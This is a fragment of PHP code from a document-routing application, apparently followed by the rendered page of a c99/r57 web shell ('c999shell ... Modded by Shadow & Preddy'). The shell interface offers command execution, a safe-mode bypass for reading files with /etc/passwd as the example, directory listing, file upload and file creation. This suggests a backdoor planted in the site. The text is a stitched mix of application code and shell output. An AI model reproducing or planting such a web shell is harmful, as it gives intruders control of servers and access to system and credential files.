"; $oRs2->DrsDocDueDate=$oDoc->DocSpeedLevelDueDate; //echo "DrsDocDueDate=".$oRs2->DrsDocDueDate."
"; $oRs2->DrsDlcIDCreate=$DlcIDlogin; //echo "DrsDlcIDCreate=".$oRs2->DrsDlcIDCreate."
"; $oRs2->DrsPsIDCreate=$personId; //echo "DrsPsIDCreate=".$oRs2->DrsPsIDCreate."
"; $oRs2->DrsPropose=$oRs4->DrsSign; //echo "DrsPropose=".$oRs2->DrsPropose."
"; $oRs2->DrsSign=$oRs2->DrsSign; //echo "DrsSign=".$oRs2->DrsSign."
"; $oRs2->DrsFromDrsID=$oRs4->DrsID; //echo "DrsFromDrsID=".$oRs2->DrsFromDrsID."
"; $oRs2->DocGroup=$oRs4->DocGroup; //echo "DocGroup=".$oRs2->DocGroup."
"; $oRs2->AnID=$oRs4->AnID; //echo "AnID=".$oRs2->AnID."
"; $oRs2->DrsSendDocNew=$timesend; //echo "DrsSendDocNew=".$oRs2->DrsSendDocNew."
"; $oRs2->DrsstartDatePost=$oRs4->DrsstartDatePost; $oRs2->DrsendDatePost=$oRs4->DrsendDatePost; $checkflagCommit = $oRs2->Save(); if(!$checkflagCommit){ $flagCommit=$checkflagCommit; } } } } //-----------------send to person in dept---------------------------------- $oPS2->SearchByDeptId($deptId); while($oPS2->GetRecord()){ if($Ps[$oPS2->personId]!="" || $mainPsselect==$oPS2->personId){ //echo "addnew send to person in dept
"; $oRs1->AddNew(); $oRs1->DrsID=$oRs1->GetNextCode(); $oRs1->DocID=$DocID; $oRs1->DlcID="0"; $oRs1->DsID=0; $oRs1->personId=$oPS2->personId; //echo "send All ps=".$oRs1->personId."
"; $oRs1->PtID=$oRs4->PtID; $oRs1->DrsDocTypeNo=$oRs4->DrsDocTypeNo; //echo "DrsDocTypeNo=".$oRs1->DrsDocTypeNo."
"; $oRs1->DrsReceiveDate=$oRs4->DrsSendDate; //echo "DrsReceiveDate=".$oRs1->DrsReceiveDate."
"; $oRs1->DrsReceivePersonId=$oPS2->personId; //echo "DrsReceivePersonId=".$oRs1->DrsReceivePersonId."
"; $oRs1->DrsSendDate=$oRs1->DrsSendDate; $oRs1->DrsSendPersonId=$oRs1->DrsSendPersonId; $oRs1->DrsSendDlcID=$oRs1->DrsSendDlcID; $oRs1->DrsDocDueDate=$oDoc->DocSpeedLevelDueDate; //echo "DrsDocDueDate=".$oRs1->DrsDocDueDate."
"; $oRs1->DrsDlcIDCreate=$DlcIDlogin; //echo "DrsDlcIDCreate=".$oRs1->DrsDlcIDCreate."
"; $oRs1->DrsPsIDCreate=$personId; //echo "DrsPsIDCreate=".$oRs1->DrsPsIDCreate."
"; $oRs1->DrsPropose=$oRs4->DrsSign; //echo "DrsPropose=".$oRs1->DrsPropose."
"; $oRs1->DrsSign=$oRs1->DrsSign; $oRs1->DrsFromDrsID=$oRs4->DrsID; //echo "DrsFromDrsID=".$oRs1->DrsFromDrsID."
"; $oRs1->DocGroup=$oRs4->DocGroup; if($mainPsselect==$oPS2->personId){ $DrsMainPs="Y"; }else{ $DrsMainPs=""; } $oRs1->DrsMainPs=$DrsMainPs; //echo "DrsMainPs=".$DrsMainPs."
"; $oRs1->AnID=$oRs4->AnID; //echo "AnID=".$AnID."
"; $oRs1->DrsSendDocNew=$timesend; $oRs1->DrsInboxID=$oRs1->DrsInboxID; $oRs1->DrsstartDatePost=$oRs4->DrsstartDatePost; $oRs1->DrsendDatePost=$oRs4->DrsendDatePost; $DrsReadDoc=GetDrsReadDoc($DocID); $oRs1->DrsReadDoc=$DrsReadDoc; $checkflagCommit = $oRs1->Save(); if(!$checkflagCommit){ $flagCommit=$checkflagCommit; } $checkupdate2++; } } //-----------------send to person psdept---------------------------------- $oPSd->SearchBydeptId($deptId); while($oPSd->GetRecord()){ if($Ps[$oPSd->personId]!="" || $mainPsselect==$oPSd->personId){ //echo "addnew send to person in dept
"; $oRs1->AddNew(); $oRs1->DrsID=$oRs1->GetNextCode(); $oRs1->DocID=$DocID; $oRs1->DlcID="0"; $oRs1->DsID=0; $oRs1->personId=$oPSd->personId; //echo "send All ps=".$oRs1->personId."
"; $oRs1->PtID=$oRs4->PtID; $oRs1->DrsDocTypeNo=$oRs4->DrsDocTypeNo; //echo "DrsDocTypeNo=".$oRs1->DrsDocTypeNo."
"; $oRs1->DrsReceiveDate=$oRs4->DrsSendDate; //echo "DrsReceiveDate=".$oRs1->DrsReceiveDate."
"; $oRs1->DrsReceivePersonId=$oPSd->personId; //echo "DrsReceivePersonId=".$oRs1->DrsReceivePersonId."
"; $oRs1->DrsDocDueDate=$oDoc->DocSpeedLevelDueDate; //echo "DrsDocDueDate=".$oRs1->DrsDocDueDate."
"; $oRs1->DrsDlcIDCreate=$DlcIDlogin; //echo "DrsDlcIDCreate=".$oRs1->DrsDlcIDCreate."
"; $oRs1->DrsPsIDCreate=$personId; //echo "DrsPsIDCreate=".$oRs1->DrsPsIDCreate."
"; $oRs1->DrsPropose=$oRs4->DrsSign; //echo "DrsPropose=".$oRs1->DrsPropose."
"; $oRs1->DrsSign=$oRs1->DrsSign; $oRs1->DrsFromDrsID=$oRs4->DrsID; //echo "DrsFromDrsID=".$oRs1->DrsFromDrsID."
"; $oRs1->DocGroup=$oRs4->DocGroup; if($mainPsselect==$oPSd->personId){ $DrsMainPs="Y"; }else{ $DrsMainPs=""; } $oRs1->DrsMainPs=$DrsMainPs; //echo "DrsMainPs=".$DrsMainPs."
"; $oRs1->AnID=$oRs4->AnID; //echo "AnID=".$AnID."
"; $oRs1->DrsSendDocNew=$timesend; $oRs1->DrsInboxID=$oRs1->DrsInboxID; $oRs1->DrsstartDatePost=$oRs4->DrsstartDatePost; $oRs1->DrsendDatePost=$oRs4->DrsendDatePost; $DrsReadDoc=GetDrsReadDoc($DocID); $oRs1->DrsReadDoc=$DrsReadDoc; $checkflagCommit = $oRs1->Save(); if(!$checkflagCommit){ $flagCommit=$checkflagCommit; } $checkupdate2++; } } $oStmp->SearchByDrsID($DrsID); while($oStmp->GetRecord()){ $oStmp->Delete(); } if($flagCommit) $oC->CommitTrans(); else $oC->RollbackTrans(); if($sendback!="1"){ echo ""; }else{ echo ""; } } ?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.005 ]--